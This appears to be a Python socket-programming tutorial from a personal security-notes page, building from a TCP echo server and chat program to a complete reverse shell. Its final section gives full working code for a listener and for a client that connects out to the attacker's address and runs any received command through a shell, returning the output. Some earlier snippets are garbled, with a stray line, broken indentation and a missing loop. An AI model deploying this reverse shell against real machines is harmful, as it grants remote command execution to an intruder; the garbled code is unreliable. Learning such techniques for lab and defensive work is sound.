TCP Server / Client

Python TCP Server using sockets.

Socket programming

Socket programming is needed for network communication and data exchange. We can use Python's socket module for this.

Method
What is does
Example

socket()

Creates a new socket object (can be TCP or UDP).

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

bind()

Binds the socket to an IP address and port (for servers).

s.bind(("0.0.0.0", 8080))

listen()

Puts the socket in listening mode to accept connections (for servers).

s.listen(5)

accept()

Waits for an incoming connection and returns a new socket and client address.

conn, addr = s.accept() (conn is used to communicate.)

connect()

Connects the socket to a remote server (for clients).

s.connect(("172.16.1.119", 80))

send()

Sends data through the socket.

s.send(b"Hello")

recv()

Receives data from the socket.

data = s.recv(1024)

close()

Closes the socket connection.

s.close()

Creating a TCP socket

Creating a TCP socket is done with. AF_INET is IPv4 address and SOCK_STREAM is TCP, these arguments are constants. We can use with so we dont have to use close()

# Saving the socket into a variable
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Using with to close socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:

We then use bind to associate the socket with our host and port with a tuple. If host is an empty string it will accept all connections.

server.bind((HOST, PORT))

Then we start to listen and accept incoming connections in new object conn. Where addr is the ip and port from target.

server.listen(5)

In this case we will make a function to receive and send a message. The call the function in a new thread.

def handle_client(client_socket):
    message = client_socket.recv(1024)
    print(f"Received message: {message.decode()}")

        client_socket.send("AWK".encode())
    print(f"Client address: {client_socket.getpeername()}")
    client_socket.close()

Finally we create a infinite while loop where we accept the connection and start the client_handler in a new thread.

# 

This give us our TCP server

import socket
import threading

HOST = "10.10.14.168"
PORT = 9090

# Create server socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(5)
print(f"Listening on: {HOST}:{PORT}")

# Receive message
def handle_client(client_socket):
    message = client_socket.recv(1024)
    print(f"Received message: {message.decode()}")
con
    # Send message back
    client_socket.send("AWK".encode())
    print(f"Client address: {client_socket.getpeername()}")
    client_socket.close()

while True:
    conn, addr = server.accept()
    print(f"Connection accepted from: {addr[0]}:{addr[1]}")
    client_handler = threading.Thread(target=handle_client, args=(conn,))
    client_handler.start()

If we would work with only 1 connection and dont need threading.

import socket

HOST =  "10.10.14.168"
PORT = 8080

# Setup socket object
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: # IPV4 and TCP socket object.
    server.bind((HOST, PORT)) # Bind to host
    server.listen(5) # Max 5 connections
    print(f'[*] Listening on {HOST}:{PORT}')
    conn, addr = server.accept() # New socket object as tuple.
    print(f'[*] Listening on {HOST}:{PORT}')

    with conn:
        print(f"Testing connection from {addr}")
        while True: # Infinite loop until broken
            data = conn.recv(1024) # 1024 bytes data from client
            if not data: # If no data received = False. Closes connection.
                break
            conn.sendall(data) # Data send to client.

And our TCP Client

import socket

HOST  = "10.10.14.168"
PORT = 9090

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
    server.connect((HOST, PORT))
    
    # Send some data
    server.send("Hello".encode())

    # Receive some data
    message =  server.recv(1024)
    print(f"Received message: {message.decode()}")

TCP server with chat

After making our tcp server and client which echoes a string. Lets make our program interactive so we can chat back and forth.

We start with writing our socket object again.

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.bind((HOST, PORT))
        server.listen(5)
        print(f'[*] Listening on {HOST}:{PORT}')

Then we create an infinite loop which will always accept new connections. Accepting a new connection we creata a new thread within a process, specify the function handle_client with the conn argument.

while True:  
    conn, addr = server.accept()
    print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')

    client_handler = threading.Thread(target=handle_client, args=(conn,))
    client_handler.start()

We then create the handle_client function. Using with it will close the socket if functions exits. Then another while loop where we break the function if the request is empty.

def handle_client(client_socket):
    with client_socket as sock: # closes socket if functions exits

        while True:
            request = sock.recv(1024) # Store data up to 1024 bytes.  
            if not request:
                break
            print(f"[*] Received: {request.decode('utf-8')}")
            response = input("Enter message: ")
            sock.send(response.encode('utf-8')) # Send input from response. 

This gives us our TCP chat program

import socket
import threading

HOST =  "10.10.14.168" # Empty will accept all connections
PORT = 8080

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.bind((HOST, PORT))
        server.listen(5)
        print(f'[*] Listening on {HOST}:{PORT}')
               
        while True: # Infinite loop, will always accept new connections
            conn, addr = server.accept()
            print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')

            # Create new thread, specify function and pass client socket (conn).
            client_handler = threading.Thread(target=handle_client, args=(conn,))  
            client_handler.start()

def handle_client(client_socket):
    with client_socket as sock: # closes socket if functions exits

        while True:
            request = sock.recv(1024) # Store data up to 1024 bytes.  
            if not request:
                break
            print(f"[*] Received: {request.decode('utf-8')}")
            response = input("Enter message: ")
            sock.send(response.encode('utf-8')) # Send input from response. 

if __name__ == "__main__":
    main()

The client has the same elements, only added a exit function.

import socket

HOST = "10.10.14.168"
PORT = 8080

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
        client.connect((HOST, PORT))
        print(f'[*] Connected to {HOST}:{PORT}')
        
        while True:
            message = input("Enter message: ")
            if message.lower() == 'exit': # When typing exit, closes connection
                break
            client.send(message.encode('utf-8'))
            response = client.recv(4096)
            print(f"[*] Response: {response.decode('utf-8')}")

if __name__ == "__main__":
    main()

TCP Reverse Shell

We can leave our main function the same but in the handle_client function we ask for input and we end the function when 'exit' is typed.

while True:
  command = input("$ ")
  if command.lower() == 'exit': 
    break
  sock.send(command.encode('utf-8')) 

We save the output from our command in response and print it. If request is empty it will exit the loop.

response = sock.recv(4096)  
if not response:
    break
print(f"{response.decode('utf-8')}")

Complete script

import socket
import threading

HOST =  "10.10.14.168" # Empty will accept all connections
PORT = 8080

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.bind((HOST, PORT))
        server.listen(5)
        print(f'[*] Listening on {HOST}:{PORT}')
               
        while True: # Infinite loop, will always accept new connections
            conn, addr = server.accept()
            print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')

            # Create new thread, specify function and pass client socket (conn).
            client_handler = threading.Thread(target=handle_client, args=(conn,))  
            client_handler.start()

def handle_client(client_socket):
    with client_socket as sock:  # closes socket if functions exits
        while True:
            command = input("$ ")
            if command.lower() == 'exit':  # Close connection if 'exit' command is given
                break
            sock.send(command.encode('utf-8'))  # Send command to client
            
            response = sock.recv(4096)  # Receive output from client
            if not response:
                break
            print(f"{response.decode('utf-8')}")

if __name__ == "__main__":
    main()

Then the client we use a while loop again and break if request is empty or exit is typed. We then use the subprocess module.

try:
    result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output, error = result.communicate()
    output = output.decode('utf-8') + error.decode('utf-8')
except Exception as e:
    output = str(e)

client.send(output.encode('utf-8'))  

The subprocess module allows to run other programs and commands within python code.

  • subprocess.Popen() is used to start a new process.

  • command: This is the command received from the server.

  • shell=True: Runs the command in a shell, allowing execution of shell-specific commands like ls, dir, cd, etc.

  • stdout=subprocess.PIPE: Captures the command's standard output.

  • stderr=subprocess.PIPE: Captures any errors from the command.

Complete client script

import socket
import subprocess

HOST = "10.10.14.168"
PORT = 8080

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
        client.connect((HOST, PORT))
        print(f'[*] Connected to {HOST}:{PORT}')
    
        while True:
            command = client.recv(1024).decode('utf-8')  # Receive command from server
            if not command:
                break

            if command.lower() == 'exit':  # Close connection if 'exit' command is received
                break
            
            try:
                result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                output, error = result.communicate()
                output = output.decode('utf-8') + error.decode('utf-8')
            except Exception as e:
                output = str(e)

            client.send(output.encode('utf-8'))  # Send output back to server

if __name__ == "__main__":
    main()

Last updated

Was this helpful?